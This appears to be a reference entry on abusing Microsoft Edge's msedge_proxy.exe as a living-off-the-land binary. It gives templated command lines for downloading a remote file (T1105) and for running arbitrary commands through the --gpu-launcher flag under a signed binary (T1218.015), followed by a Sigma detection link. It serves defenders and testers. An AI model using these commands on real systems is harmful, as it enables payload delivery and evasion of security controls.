msedge_proxy.exe

Commands

1. DownloadUser T1105

   Download file from the internet

   C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe {REMOTEURL:.zip}

   msedge_proxy will download malicious file.

   os: Windows 10, Windows 11

2. ExecuteUser T1218.015

   Executes a process under a trusted Microsoft signed binary

   C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"

   msedge_proxy.exe will execute file in the background

   os: Windows 10, Windows 11

   Execute: CMD

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_susp_electron_execution_proxy.yml